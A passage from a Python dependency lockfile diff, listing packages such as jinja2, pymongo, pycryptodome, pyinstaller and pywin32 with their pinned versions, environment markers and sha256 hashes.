"sha256:7db68f15486d412b8e2cfcd584bf3b3a000911d25779d081cbbae76d71bd1a7e", + "sha256:8833e27949ea32d27f7e96930fa29404dd4f2feb13cce483daf52e8842ec246a", + "sha256:944fbdd540712d5377a8795c840a97ff71e7f3221d3fddc98769a15a87b36131", + "sha256:9a6b035aa2c5fcf3dbbf0e3a8a5bc75286fc2d4e6f9cfa738788b433ec894919", + "sha256:9bdcff4b9051fb1aa4bba4fceff6a5f770c6be436408efd99b76fc827f2a9319", + "sha256:a9017ff5fc2522e45562882ff481128631bf35da444775bc2776ac5c61d8bcae", + "sha256:aa4230234d02e6f32f189fd40b59d5a968fe77e80f59c9c933384fe8ba535535", + "sha256:ad80bb338cf9f8129c049837a42a43451fc7c8b57ad56f8e6d32e7697b115505", + "sha256:adb94a28225005890d4cf73648b5131e885c7b4b17bc762779f061844aabcc11", + "sha256:b3090631fecdf7e983d183d0fad7ea72cfb12fa9212461a9b708ff7907ffff47", + "sha256:b33b51ab057f8a20b497ffafdb1e79256db0c03ef4f5e3d52e7497200e11f821", + "sha256:b97c9a144bbeec7039cca44df117efcbeed7209543f5695201cacf05ba3b5857", + "sha256:be13a18cec649ebaab835dff269e914679ef329204704869f2f167b2c163a9da", + "sha256:be9768e56f92d1d7cd94185bab5856f3c5589a50d221c166cc2ad5eb134bd1dc", + "sha256:c1580087ab493c6b43e66f2bdd165d9e3c1e86ef83f6c2c44a29f2869d2c5bd5", + "sha256:c35872b2916ab5a240d52a94314c963476c989814ba9b519bc842e5b61b464bb", + "sha256:c70c7dd733a4c56838d1f1781e769081a25fade879510c5b5f0df76956abfa05", + "sha256:c767458511a59f6f597bfb0032a1c82a52c29ae228c2c0a6865cfeaeaac4c5f5", + "sha256:c87df8ae3f01ffb4483c796fe1b15232ce2b219f0b18126948616224d3f658ee", + "sha256:ca1c4a569232c063615f9e70ff9a1e2fee8c66a6fb5caf0f5e8b21a396deec3e", + "sha256:cc407b68e0a874e7ece60f6639df46309376882152345508be94da608cc0b831", + "sha256:da862b8f7de577bc421323714f63276acb2f759ab8c5e33335509f0b89e06b8f", + "sha256:dfe7eac0d253915116ed0cd160a15a88981a1d194c1ef151e862a5c7d2f853d3", + "sha256:ed1377feed808c9c1139bdb6a61bcbf030c236dd288d6fca71ac26906ab03ba6", + "sha256:f42ad188466d946f1b3afc0a9e1a266ac8926461ee0786c06baac6bd71f8a6f3", + "sha256:f92731609d6625e1cc26ff5757db4d32b6b810d2a3363b0ff94ff573e5901f6f" + ], + "markers": "platform_python_implementation == 'CPython'", + "version": "==1.1.0" + }, + "httpagentparser": { + "hashes": [ + "sha256:ef763d31993dd761825acee6c8b34be32b95cf1675d1c73c3cd35f9e52831b26" + ], + "version": "==1.9.1" + }, + "humanfriendly": { + "hashes": [ + "sha256:332da98c24cc150efcc91b5508b19115209272bfdf4b0764a56795932f854271", + "sha256:f7dba53ac7935fd0b4a2fc9a29e316ddd9ea135fb3052d3d0279d10c18ff9c48" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==9.2" + }, + "idna": { + "hashes": [ + "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6", + "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.10" + }, + "importlib-metadata": { + "hashes": [ + "sha256:079ada16b7fc30dfbb5d13399a5113110dab1aa7c2bc62f66af75f0b717c8cac", + "sha256:9f55f560e116f8643ecf2922d9cd3e1c7e8d52e683178fecd9d08f6aa357e11e" + ], + "markers": "python_version < '3.8'", + "version": "==4.6.1" + }, + "ipaddress": { + "hashes": [ + "sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc", + "sha256:b7f8e0369580bb4a24d5ba1d7cc29660a4a6987763faf1d8a8046830e020e7e2" + ], + "index": "pypi", + "version": "==1.0.23" + }, + "itsdangerous": { + "hashes": [ + "sha256:5174094b9637652bdb841a3029700391451bd092ba3db90600dea710ba28e97c", + "sha256:9e724d68fc22902a1435351f84c3fb8623f303fffcc566a4cb952df8c572cff0" + ], + "markers": "python_version >= '3.6'", + "version": "==2.0.1" + }, + "jaraco.classes": { + "hashes": [ + "sha256:22ac35313cf4b145bf7b217cc51be2d98a3d2db1c8558a30ca259d9f0b9c0b7d", + "sha256:ed54b728af1937dc16b7236fbaf34ba561ba1ace572b03fffa5486ed363ecf34" + ], + "markers": "python_version >= '3.6'", + "version": "==3.2.1" + }, + "jaraco.collections": { + "hashes": [ + "sha256:3662267424b55f10bf15b6f5dee6a6e48a2865c0ec50cc7a16040c81c55a98dc", + "sha256:fa45052d859a7c28aeef846abb5857b525a1b9ec17bd4118b78e43a222c5a2f1" + ], + "markers": "python_version >= '3.6'", + "version": "==3.3.0" + }, + "jaraco.functools": { + "hashes": [ + "sha256:7c788376d69cf41da675b186c85366fe9ac23c92a70697c455ef9135c25edf31", + "sha256:bfcf7da71e2a0e980189b0744b59dba6c1dcf66dcd7a30f8a4413e478046b314" + ], + "markers": "python_version >= '3.6'", + "version": "==3.3.0" + }, + "jaraco.text": { + "hashes": [ + "sha256:b647f2bf912e201bfefd01d691bf5d603a94f2b3f998129e4fea595873a25613", + "sha256:f07f1076814a17a98eb915948b9a0dc71b1891c833588066ec1feb04ea4389b1" + ], + "markers": "python_version >= '3.6'", + "version": "==3.5.0" + }, + "jinja2": { + "hashes": [ + "sha256:1f06f2da51e7b56b8f238affdd6b4e2c61e39598a378cc49345bc1bd42a978a4", + "sha256:703f484b47a6af502e743c9122595cc812b0271f661722403114f71a79d0f5a4" + ], + "markers": "python_version >= '3.6'", + "version": "==3.0.1" + }, + "jmespath": { + "hashes": [ + "sha256:b85d0567b8666149a93172712e68920734333c0ce7e89b78b3e987f71e5ed4f9", + "sha256:cdf6525904cc597730141d61b36f2e4b8ecc257c420fa2f4549bac2c2d0cb72f" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.10.0" + }, + "jsonschema": { + "hashes": [ + "sha256:4e5b3cf8216f577bee9ce139cbe72eca3ea4f292ec60928ff24758ce626cd163", + "sha256:c8a85b28d377cc7737e46e2d9f2b4f44ee3c0e1deac6bf46ddefc7187d30797a" + ], + "index": "pypi", + "version": "==3.2.0" + }, + "markupsafe": { + "hashes": [ + "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298", + "sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64", + "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b", + "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567", + "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff", + "sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74", + "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35", + "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26", + "sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7", + "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75", + "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f", + "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135", + "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8", + "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a", + "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914", + "sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18", + "sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8", + "sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2", + "sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d", + "sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b", + "sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f", + "sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb", + "sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833", + "sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415", + "sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902", + "sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9", + "sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d", + "sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066", + "sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f", + "sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5", + "sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94", + "sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509", + "sha256:f9081981fe268bd86831e5c75f7de206ef275defcb82bc70740ae6dc507aee51", + "sha256:fa130dd50c57d53368c9d59395cb5526eda596d3ffe36666cd81a44d56e48872" + ], + "markers": "python_version >= '3.6'", + "version": "==2.0.1" + }, + "mongoengine": { + "hashes": [ + "sha256:6e127f45f71c2bc5e72461ec297a0c20f04c3ee0bf6dd869e336226e325db6ef", + "sha256:db9e5d587e5d74e52851e0e4a53fd744725bfa9918ae6070139f5ba9c62c6edf" + ], + "index": "pypi", + "version": "==0.20" + }, + "more-itertools": { + "hashes": [ + "sha256:2cf89ec599962f2ddc4d568a05defc40e0a587fbc10d5989713638864c36be4d", + "sha256:83f0308e05477c68f56ea3a888172c78ed5d5b3c282addb67508e7ba6c8f813a" + ], + "markers": "python_version >= '3.5'", + "version": "==8.8.0" + }, + "netaddr": { + "hashes": [ + "sha256:9666d0232c32d2656e5e5f8d735f58fd6c7457ce52fc21c98d45f2af78f990ac", + "sha256:d6cc57c7a07b1d9d2e917aa8b36ae8ce61c35ba3fcd1b83ca31c5a0ee2b5a243" + ], + "version": "==0.8.0" + }, + "netifaces": { + "hashes": [ + "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32", + "sha256:08e3f102a59f9eaef70948340aeb6c89bd09734e0dca0f3b82720305729f63ea", + "sha256:0f6133ac02521270d9f7c490f0c8c60638ff4aec8338efeff10a1b51506abe85", + "sha256:18917fbbdcb2d4f897153c5ddbb56b31fa6dd7c3fa9608b7e3c3a663df8206b5", + "sha256:2479bb4bb50968089a7c045f24d120f37026d7e802ec134c4490eae994c729b5", + "sha256:2650beee182fed66617e18474b943e72e52f10a24dc8cac1db36c41ee9c041b7", + "sha256:28f4bf3a1361ab3ed93c5ef360c8b7d4a4ae060176a3529e72e5e4ffc4afd8b0", + "sha256:3ecb3f37c31d5d51d2a4d935cfa81c9bc956687c6f5237021b36d6fdc2815b2c", + "sha256:469fc61034f3daf095e02f9f1bbac07927b826c76b745207287bc594884cfd05", + "sha256:48324183af7f1bc44f5f197f3dad54a809ad1ef0c78baee2c88f16a5de02c4c9", + "sha256:50721858c935a76b83dd0dd1ab472cad0a3ef540a1408057624604002fcfb45b", + "sha256:54ff6624eb95b8a07e79aa8817288659af174e954cca24cdb0daeeddfc03c4ff", + "sha256:5be83986100ed1fdfa78f11ccff9e4757297735ac17391b95e17e74335c2047d", + "sha256:5f9ca13babe4d845e400921973f6165a4c2f9f3379c7abfc7478160e25d196a4", + "sha256:73ff21559675150d31deea8f1f8d7e9a9a7e4688732a94d71327082f517fc6b4", + "sha256:7dbb71ea26d304e78ccccf6faccef71bb27ea35e259fb883cfd7fd7b4f17ecb1", + "sha256:815eafdf8b8f2e61370afc6add6194bd5a7252ae44c667e96c4c1ecf418811e4", + "sha256:841aa21110a20dc1621e3dd9f922c64ca64dd1eb213c47267a2c324d823f6c8f", + "sha256:84e4d2e6973eccc52778735befc01638498781ce0e39aa2044ccfd2385c03246", + "sha256:8f7da24eab0d4184715d96208b38d373fd15c37b0dafb74756c638bd619ba150", + "sha256:96c0fe9696398253f93482c84814f0e7290eee0bfec11563bd07d80d701280c3", + "sha256:aab1dbfdc55086c789f0eb37affccf47b895b98d490738b81f3b2360100426be", + "sha256:c03fb2d4ef4e393f2e6ffc6376410a22a3544f164b336b3a355226653e5efd89", + "sha256:c37a1ca83825bc6f54dddf5277e9c65dec2f1b4d0ba44b8fd42bc30c91aa6ea1", + "sha256:c92ff9ac7c2282009fe0dcb67ee3cd17978cffbe0c8f4b471c00fe4325c9b4d4", + "sha256:c9a3a47cd3aaeb71e93e681d9816c56406ed755b9442e981b07e3618fb71d2ac", + "sha256:cb925e1ca024d6f9b4f9b01d83215fd00fe69d095d0255ff3f64bffda74025c8", + "sha256:d07b01c51b0b6ceb0f09fc48ec58debd99d2c8430b09e56651addeaf5de48048", + "sha256:e76c7f351e0444721e85f975ae92718e21c1f361bda946d60a214061de1f00a1", + "sha256:eb4813b77d5df99903af4757ce980a98c4d702bbcb81f32a0b305a1537bdf0b1" + ], + "index": "pypi", + "version": "==0.11.0" + }, + "pefile": { + "hashes": [ + "sha256:ed79b2353daa58421459abf4d685953bde0adf9f6e188944f97ba9795f100246" + ], + "markers": "python_version >= '3.6'", + "version": "==2021.5.24" + }, + "policyuniverse": { + "hashes": [ + "sha256:89265efd6e04c71d073ef3e361bd1b487231890c6aee1c710dd902d254ad1d9f", + "sha256:a5dfe7435f2cc75e910ad79512a109b68c246b3a54974e6d560bcd3e6b028288" + ], + "version": "==1.3.8.20210707" + }, + "portend": { + "hashes": [ + "sha256:986ed9a278e64a87b5b5f4c21e61c25bebdce9919a92238d9c14c37a7416482b", + "sha256:add53a9e65d4022885f97de7895da583d0ed57df3eadb0b4d2ada594268cc0e6" + ], + "markers": "python_version >= '3.6'", + "version": "==2.7.1" + }, + "pyaescrypt": { + "hashes": [ + "sha256:a26731960fb24b80bd3c77dbff781cab20e77715906699837f73c9fcb2f44a57", + "sha256:cfbc05f0bac12d9f0446bb9c824648786cfa5c1ee7bf73674e396bd0749e2963" + ], + "index": "pypi", + "version": "==6.0.0" + }, + "pyasn1": { + "hashes": [ + "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", + "sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576", + "sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf", + "sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7", + "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d", + "sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00", + "sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8", + "sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86", + "sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12", + "sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776", + "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba", + "sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2", + "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" + ], + "version": "==0.4.8" + }, + "pycparser": { + "hashes": [ + "sha256:2d475327684562c3a96cc71adf7dc8c4f0565175cf86b6d7a404ff4c771f15f0", + "sha256:7582ad22678f0fcd81102833f60ef8d0e57288b6b5fb00323d101be910e35705" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==2.20" + }, + "pycryptodome": { + "hashes": [ + "sha256:02e51e1d5828d58f154896ddfd003e2e7584869c275e5acbe290443575370fba", + "sha256:03d5cca8618620f45fd40f827423f82b86b3a202c8d44108601b0f5f56b04299", + "sha256:0e24171cf01021bc5dc17d6a9d4f33a048f09d62cc3f62541e95ef104588bda4", + "sha256:132a56abba24e2e06a479d8e5db7a48271a73a215f605017bbd476d31f8e71c1", + "sha256:1e655746f539421d923fd48df8f6f40b3443d80b75532501c0085b64afed9df5", + "sha256:2b998dc45ef5f4e5cf5248a6edfcd8d8e9fb5e35df8e4259b13a1b10eda7b16b", + "sha256:360955eece2cd0fa694a708d10303c6abd7b39614fa2547b6bd245da76198beb", + "sha256:39ef9fb52d6ec7728fce1f1693cb99d60ce302aeebd59bcedea70ca3203fda60", + "sha256:4350a42028240c344ee855f032c7d4ad6ff4f813bfbe7121547b7dc579ecc876", + "sha256:50348edd283afdccddc0938cdc674484533912ba8a99a27c7bfebb75030aa856", + "sha256:54bdedd28476dea8a3cd86cb67c0df1f0e3d71cae8022354b0f879c41a3d27b2", + "sha256:55eb61aca2c883db770999f50d091ff7c14016f2769ad7bca3d9b75d1d7c1b68", + "sha256:6276478ada411aca97c0d5104916354b3d740d368407912722bd4d11aa9ee4c2", + "sha256:663f8de2b3df2e744d6e1610506e0ea4e213bde906795953c1e82279c169f0a7", + "sha256:67dcad1b8b201308586a8ca2ffe89df1e4f731d5a4cdd0610cc4ea790351c739", + "sha256:709b9f144d23e290b9863121d1ace14a72e01f66ea9c903fbdc690520dfdfcf0", + "sha256:8063a712fba642f78d3c506b0896846601b6de7f5c3d534e388ad0cc07f5a149", + "sha256:80d57177a0b7c14d4594c62bbb47fe2f6309ad3b0a34348a291d570925c97a82", + "sha256:87006cf0d81505408f1ae4f55cf8a5d95a8e029a4793360720ae17c6500f7ecc", + "sha256:9f62d21bc693f3d7d444f17ed2ad7a913b4c37c15cd807895d013c39c0517dfd", + "sha256:a207231a52426de3ff20f5608f0687261a3329d97a036c51f7d4c606a6f30c23", + "sha256:abc2e126c9490e58a36a0f83516479e781d83adfb134576a5cbe5c6af2a3e93c", + "sha256:b56638d58a3a4be13229c6a815cd448f9e3ce40c00880a5398471b42ee86f50e", + "sha256:bcd5b8416e73e4b0d48afba3704d8c826414764dafaed7a1a93c442188d90ccc", + "sha256:bec2bcdf7c9ce7f04d718e51887f3b05dc5c1cfaf5d2c2e9065ecddd1b2f6c9a", + "sha256:c8bf40cf6e281a4378e25846924327e728a887e8bf0ee83b2604a0f4b61692e8", + "sha256:cecbf67e81d6144a50dc615629772859463b2e4f815d0c082fa421db362f040e", + "sha256:d8074c8448cfd0705dfa71ca333277fce9786d0b9cac75d120545de6253f996a", + "sha256:dd302b6ae3965afeb5ef1b0d92486f986c0e65183cd7835973f0b593800590e6", + "sha256:de6e1cd75677423ff64712c337521e62e3a7a4fc84caabbd93207752e831a85a", + "sha256:ef39c98d9b8c0736d91937d193653e47c3b19ddf4fc3bccdc5e09aaa4b0c5d21", + "sha256:f2e045224074d5664dc9cbabbf4f4d4d46f1ee90f24780e3a9a668fd096ff17f", + "sha256:f521178e5a991ffd04182ed08f552daca1affcb826aeda0e1945cd989a9d4345", + "sha256:f78a68c2c820e4731e510a2df3eef0322f24fde1781ced970bf497b6c7d92982", + "sha256:fbe65d5cfe04ff2f7684160d50f5118bdefb01e3af4718eeb618bfed40f19d94" + ], + "index": "pypi", + "version": "==3.9.8" + }, + "pyinstaller": { + "hashes": [ + "sha256:3730fa80d088f8bb7084d32480eb87cbb4ddb64123363763cf8f2a1378c1c4b7" + ], + "index": "pypi", + "version": "==3.6" + }, + "pyjwt": { + "hashes": [ + "sha256:00414bfef802aaecd8cc0d5258b6cb87bd8f553c2986c2c5f29b19dd5633aeb7", + "sha256:ddec8409c57e9d371c6006e388f91daf3b0b43bdf9fcbf99451fb7cf5ce0a86d" + ], + "index": "pypi", + "version": "==1.7" + }, + "pymongo": { + "hashes": [ + "sha256:03be7ad107d252bb7325d4af6309fdd2c025d08854d35f0e7abc8bf048f4245e", + "sha256:071552b065e809d24c5653fcc14968cfd6fde4e279408640d5ac58e3353a3c5f", + "sha256:08b8723248730599c9803ae4c97b8f3f76c55219104303c88cb962a31e3bb5ee", + "sha256:08bda7b2c522ff9f1e554570da16298271ebb0c56ab9699446aacba249008988", + "sha256:0aaf4d44f1f819360f9432df538d54bbf850f18152f34e20337c01b828479171", + "sha256:0cabfc297f4cf921f15bc789a8fbfd7115eb9f813d3f47a74b609894bc66ab0d", + "sha256:13acf6164ead81c9fc2afa0e1ea6d6134352973ce2bb35496834fee057063c04", + "sha256:15b083d1b789b230e5ac284442d9ecb113c93f3785a6824f748befaab803b812", + "sha256:161fcd3281c42f644aa8dec7753cca2af03ce654e17d76da4f0dab34a12480ca", + "sha256:1a994a42f49dab5b6287e499be7d3d2751776486229980d8857ad53b8333d469", + "sha256:20d75ea11527331a2980ab04762a9d960bcfea9475c54bbeab777af880de61cd", + "sha256:225c61e08fe517aede7912937939e09adf086c8e6f7e40d4c85ad678c2c2aea3", + "sha256:3135dd574ef1286189f3f04a36c8b7a256376914f8cbbce66b94f13125ded858", + "sha256:3491c7de09e44eded16824cb58cf9b5cc1dc6f066a0bb7aa69929d02aa53b828", + "sha256:3551912f5c34d8dd7c32c6bb00ae04192af47f7b9f653608f107d19c1a21a194", + "sha256:38a7b5140a48fc91681cdb5cb95b7cd64640b43d19259fdd707fa9d5a715f2b2", + "sha256:3a3498a8326111221560e930f198b495ea6926937e249f475052ffc6893a6680", + "sha256:3bfc7689a1bacb9bcd2f2d5185d99507aa29f667a58dd8adaa43b5a348139e46", + "sha256:421d13523d11c57f57f257152bc4a6bb463aadf7a3918e9c96fefdd6be8dbfb8", + "sha256:424799c71ff435094e5fb823c40eebb4500f0e048133311e9c026467e8ccebac", + "sha256:474e21d0e07cd09679e357d1dac76e570dab86665e79a9d3354b10a279ac6fb3", + "sha256:4c7e8c8e1e1918dcf6a652ac4b9d87164587c26fd2ce5dd81e73a5ab3b3d492f", + "sha256:506a6dab4c7ffdcacdf0b8e70bd20eb2e77fa994519547c9d88d676400fcad58", + "sha256:510cd3bfabb63a07405b7b79fae63127e34c118b7531a2cbbafc7a24fd878594", + "sha256:517ba47ca04a55b1f50ee8df9fd97f6c37df5537d118fb2718952b8623860466", + "sha256:539d4cb1b16b57026999c53e5aab857fe706e70ae5310cc8c232479923f932e6", + "sha256:5c36428cc4f7fae56354db7f46677fd21222fc3cb1e8829549b851172033e043", + "sha256:5db59223ed1e634d842a053325f85f908359c6dac9c8ddce8ef145061fae7df8", + "sha256:5e606846c049ed40940524057bfdf1105af6066688c0e6a1a3ce2038589bae70", + "sha256:6060794aac9f7b0644b299f46a9c6cbc0bc470bd01572f4134df140afd41ded6", + "sha256:62c29bc36a6d9be68fe7b5aaf1e120b4aa66a958d1e146601fcd583eb12cae7b", + "sha256:73326b211e7410c8bd6a74500b1e3f392f39cf10862e243d00937e924f112c01", + "sha256:78f07961f4f214ea8e80be63cffd5cc158eb06cd922ffbf6c7155b11728f28f9", + "sha256:7c97554ea521f898753d9773891d0347ebfaddcc1dee2ad94850b163171bf1f1", + "sha256:8898f6699f740ca93a0879ed07d8e6db02d68af889d0ebb3d13ab017e6b1af1e", + "sha256:8a41fdc751dc4707a4fafb111c442411816a7c225ebb5cadb57599534b5d5372", + "sha256:8e0004b0393d72d76de94b4792a006cb960c1c65c7659930fbf9a81ce4341982", + "sha256:977b1d4f868986b4ba5d03c317fde4d3b66e687d74473130cd598e3103db34fa", + "sha256:9a4f6e0b01df820ba9ed0b4e618ca83a1c089e48d4f268d0e00dcd49893d4549", + "sha256:9b9298964389c180a063a9e8bac8a80ed42de11d04166b20249bfa0a489e0e0f", + "sha256:a08c8b322b671857c81f4c30cd3c8df2895fd3c0e9358714f39e0ef8fb327702", + "sha256:ad31f184dcd3271de26ab1f9c51574afb99e1b0e484ab1da3641256b723e4994", + "sha256:aff3656af2add93f290731a6b8930b23b35c0c09569150130a58192b3ec6fc61", + "sha256:b2f41261b648cf5dee425f37ff14f4ad151c2f24b827052b402637158fd056ef", + "sha256:b413117210fa6d92664c3d860571e8e8727c3e8f2ff197276c5d0cb365abd3ad", + "sha256:b7efc7e7049ef366777cfd35437c18a4166bb50a5606a1c840ee3b9624b54fc9", + "sha256:b8f94acd52e530a38f25e4d5bf7ddfdd4bea9193e718f58419def0d4406b58d3", + "sha256:d0a70151d7de8a3194cdc906bcc1a42e14594787c64b0c1c9c975e5a2af3e251", + "sha256:d360e5d5dd3d55bf5d1776964625018d85b937d1032bae1926dd52253decd0db", + "sha256:d4e62417e89b717a7bcd8576ac3108cd063225942cc91c5b37ff5465fdccd386", + "sha256:d65bac5f6724d9ea6f0b5a0f0e4952fbbf209adcf6b5583b54c54bd2fcd74dc0", + "sha256:e02beaab433fd1104b2804f909e694cfbdb6578020740a9051597adc1cd4e19f", + "sha256:e4b631688dfbdd61b5610e20b64b99d25771c6d52d9da73349342d2a0f11c46a", + "sha256:e4e9db78b71db2b1684ee4ecc3e32c4600f18cdf76e6b9ae03e338e52ee4b168", + "sha256:eb4d176394c37a76e8b0afe54b12d58614a67a60a7f8c0dd3a5afbb013c01092", + "sha256:f08665d3cc5abc2f770f472a9b5f720a9b3ab0b8b3bb97c7c1487515e5653d39", + "sha256:f3d851af3852f16ad4adc7ee054fd9c90a7a5063de94d815b7f6a88477b9f4c6", + "sha256:f4ba58157e8ae33ee86fadf9062c506e535afd904f07f9be32731f4410a23b7f", + "sha256:f664ed7613b8b18f0ce5696b146776266a038c19c5cd6efffa08ecc189b01b73", + "sha256:f947b359cc4769af8b49be7e37af01f05fcf15b401da2528021148e4a54426d1", + "sha256:fe4189846448df013cd9df11bba38ddf78043f8c290a9f06430732a7a8601cce", + "sha256:fea5cb1c63efe1399f0812532c7cf65458d38fd011be350bc5021dfcac39fba8", + "sha256:fedf0dee7a412ca6d1d6d92c158fe9cbaa8ea0cae90d268f9ccc0744de7a97d0", + "sha256:fffff7bfb6799a763d3742c59c6ee7ffadda21abed557637bc44ed1080876484" + ], + "version": "==3.11.4" + }, + "pyreadline": { + "hashes": [ + "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1", + "sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e", + "sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b" + ], + "markers": "sys_platform == 'win32'", + "version": "==2.1" + }, + "pyrsistent": { + "hashes": [ + "sha256:097b96f129dd36a8c9e33594e7ebb151b1515eb52cceb08474c10a5479e799f2", + "sha256:2aaf19dc8ce517a8653746d98e962ef480ff34b6bc563fc067be6401ffb457c7", + "sha256:404e1f1d254d314d55adb8d87f4f465c8693d6f902f67eb6ef5b4526dc58e6ea", + "sha256:48578680353f41dca1ca3dc48629fb77dfc745128b56fc01096b2530c13fd426", + "sha256:4916c10896721e472ee12c95cdc2891ce5890898d2f9907b1b4ae0f53588b710", + "sha256:527be2bfa8dc80f6f8ddd65242ba476a6c4fb4e3aedbf281dfbac1b1ed4165b1", + "sha256:58a70d93fb79dc585b21f9d72487b929a6fe58da0754fa4cb9f279bb92369396", + "sha256:5e4395bbf841693eaebaa5bb5c8f5cdbb1d139e07c975c682ec4e4f8126e03d2", + "sha256:6b5eed00e597b5b5773b4ca30bd48a5774ef1e96f2a45d105db5b4ebb4bca680", + "sha256:73ff61b1411e3fb0ba144b8f08d6749749775fe89688093e1efef9839d2dcc35", + "sha256:772e94c2c6864f2cd2ffbe58bb3bdefbe2a32afa0acb1a77e472aac831f83427", + "sha256:773c781216f8c2900b42a7b638d5b517bb134ae1acbebe4d1e8f1f41ea60eb4b", + "sha256:a0c772d791c38bbc77be659af29bb14c38ced151433592e326361610250c605b", + "sha256:b29b869cf58412ca5738d23691e96d8aff535e17390128a1a52717c9a109da4f", + "sha256:c1a9ff320fa699337e05edcaae79ef8c2880b52720bc031b219e5b5008ebbdef", + "sha256:cd3caef37a415fd0dae6148a1b6957a8c5f275a62cca02e18474608cb263640c", + "sha256:d5ec194c9c573aafaceebf05fc400656722793dac57f254cd4741f3c27ae57b4", + "sha256:da6e5e818d18459fa46fac0a4a4e543507fe1110e808101277c5a2b5bab0cd2d", + "sha256:e79d94ca58fcafef6395f6352383fa1a76922268fa02caa2272fff501c2fdc78", + "sha256:f3ef98d7b76da5eb19c37fda834d50262ff9167c65658d1d8f974d2e4d90676b", + "sha256:f4c8cabb46ff8e5d61f56a037974228e978f26bfefce4f61a4b1ac0ba7a2ab72" + ], + "markers": "python_version >= '3.6'", + "version": "==0.18.0" + }, + "python-dateutil": { + "hashes": [ + "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb", + "sha256:c89805f6f4d64db21ed966fda138f8a5ed7a4fdbc1a8ee329ce1b74e3c74da9e" + ], + "index": "pypi", + "version": "==2.8.0" + }, + "pytz": { + "hashes": [ + "sha256:83a4a90894bf38e243cf052c8b58f381bfe9a7a483f6a9cab140bc7f702ac4da", + "sha256:eb10ce3e7736052ed3623d49975ce333bcd712c7bb19a58b9e2089d4057d0798" + ], + "version": "==2021.1" + }, + "pywin32": { + "hashes": [ + 